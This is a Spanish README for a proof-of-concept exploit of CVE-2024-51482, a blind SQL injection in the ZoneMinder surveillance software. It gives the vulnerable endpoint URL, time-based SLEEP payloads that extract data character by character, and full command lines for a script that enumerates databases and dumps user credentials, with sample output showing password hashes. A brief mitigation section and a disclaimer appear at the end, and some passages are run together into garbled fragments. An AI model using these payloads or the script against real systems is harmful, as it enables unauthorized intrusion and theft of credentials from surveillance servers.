
ZenoMinder PoC de Inyección SQL Ciega
CVE-2024-51482 es una vulnerabilidad crítica de inyección SQL de tipo booleano ciego descubierta en ZoneMinder, un popular software de videovigilancia CCTV de código abierto. Esta falla afecta las versiones 1.37.* hasta 1.37.64 y permite a atacantes autenticados con bajos privilegios ejecutar comandos SQL arbitrarios en el servidor de base de datos subyacente.
| Métrica | Valor |
|---|---|
| ID CVE | CVE-2024-51482 |
| Puntuación CVSS | 9.9 (Crítico) |
| Vector de Ataque | Red |
| Privilegios Requeridos | Bajo |
| Interacción del Usuario | Ninguna |
| Alcance | Cambiado |
| Impacto | Confidencialidad, Integridad, Disponibilidad - ALTO |
| Versión Parcheada | 1.37.65 |
La vulnerabilidad existe en el archivo web/ajax/event.php dentro de la función removetag. El parámetro tid (ID de Etiqueta) se concatena directamente en una consulta SQL sin la debida sanitización o parametrización.
Código Vulnerable:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
Código Corregido:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Consulta parametrizada
El endpoint vulnerable se puede desencadenar mediante:
http://objetivo/zm/index.php?view=request&request=event&action=removetag&tid=[PUNTO_DE_INYECCIÓN]
El punto de inyección no devuelve resultados de consulta directamente en la respuesta, lo que hace imposibles los ataques tradicionales basados en UNION. En su lugar, debemos inferir información mediante condiciones booleanas o retardos temporales.
Nuestro exploit utiliza extracción basada en tiempo con la función SLEEP():
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
Cuando esta condición se evalúa como verdadera, la base de datos duerme durante 2 segundos, creando un retardo medible en la respuesta HTTP.
ASCII(SUBSTRING()) > MID.SLEEP.Ejemplo de payload para extraer el carácter en la posición 1:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# Clonar el repositorio
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Hacer el script ejecutable
chmod +x CVE-2024-51482.py
# Instalar dependencias requeridas
pip3 install requests
# Probar si el objetivo es vulnerable
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --test
# Descubrir todas las bases de datos
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --discover
# Listar tablas en una base de datos específica
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --tables zm
# Listar columnas en una tabla específica
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --columns zm Users
# Volcar datos de columnas específicas
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --dump zm Users "Username,Password"
# Volcar tabla de usuarios (por defecto)
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users
# Habilitar salida de depuración para proceso de extracción detallado
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --debug
# Ajustar tiempo de espera para extracción más fiable
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --sleep 3
# Deshabilitar salida coloreada
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --no-color
Ejemplo 1: Prueba de Vulnerabilidad
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: 192.168.1.100
[*] Iniciando sesión como 'admin' en 192.168.1.100...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.058s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!
Ejemplo 2: Enumeración de Bases de Datos
$ python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: <host-objetivo>
[*] Iniciando sesión como 'admin' en <host-objetivo>...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.065s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!
[*] Enumerando bases de datos...
[+] Base de datos encontrada: information_schema
[+] Base de datos encontrada: performance_schema
[+] Base de datos encontrada: zm
[+] Bases de datos encontradas:
1. information_schema
2. performance_schema
3. zm
Ejemplo 3: Volcado de Credenciales de Usuario
$ python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: <host-objetivo>
[*] Iniciando sesión como 'admin' en <host-objetivo>...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.062s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!
[*] Volcando tabla Users de la base de datos zm...
[*] Enumerando columnas en 'zm.Users'...
[+] Columna encontrada: Id
[+] Columna encontrada: Username
[+] Columna encontrada: Password
[+] Columna encontrada: Language
[+] Columna encontrada: Enabled
[*] Volcando datos de 'zm.Users'...
[+] Fila 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Fila 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Usuarios extraídos: 2
Usuario: admin
Pass: $2y$10$...hashed...
Email: admin@localhost
Habilitado: 1
Usuario: operator
Pass: $2y$10$...hashed...
Email: operator@localhost
Habilitado: 1
Ejemplo 4: Extracción de Datos Personalizada
# Volcar columnas específicas de la tabla Events
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) para verificar que la inyección funciona.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}.SLEEP → Respuesta retardada.sudo apt-get update
sudo apt-get install zoneminder
# Configuración de Apache
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
Esta herramienta se proporciona únicamente con fines educativos y de prueba de seguridad. Las pruebas no autorizadas de sistemas informáticos son ilegales. Siempre obtenga la autorización adecuada antes de probar cualquier sistema.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Métrica | Valor |
|---|
| Vector de Ataque | Red |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Bajo |
| Interacción del Usuario | Ninguna |
| Alcance | Cambiado |
| Confidencialidad | Alta |
| Integridad | Alta |
| Disponibilidad | Alta |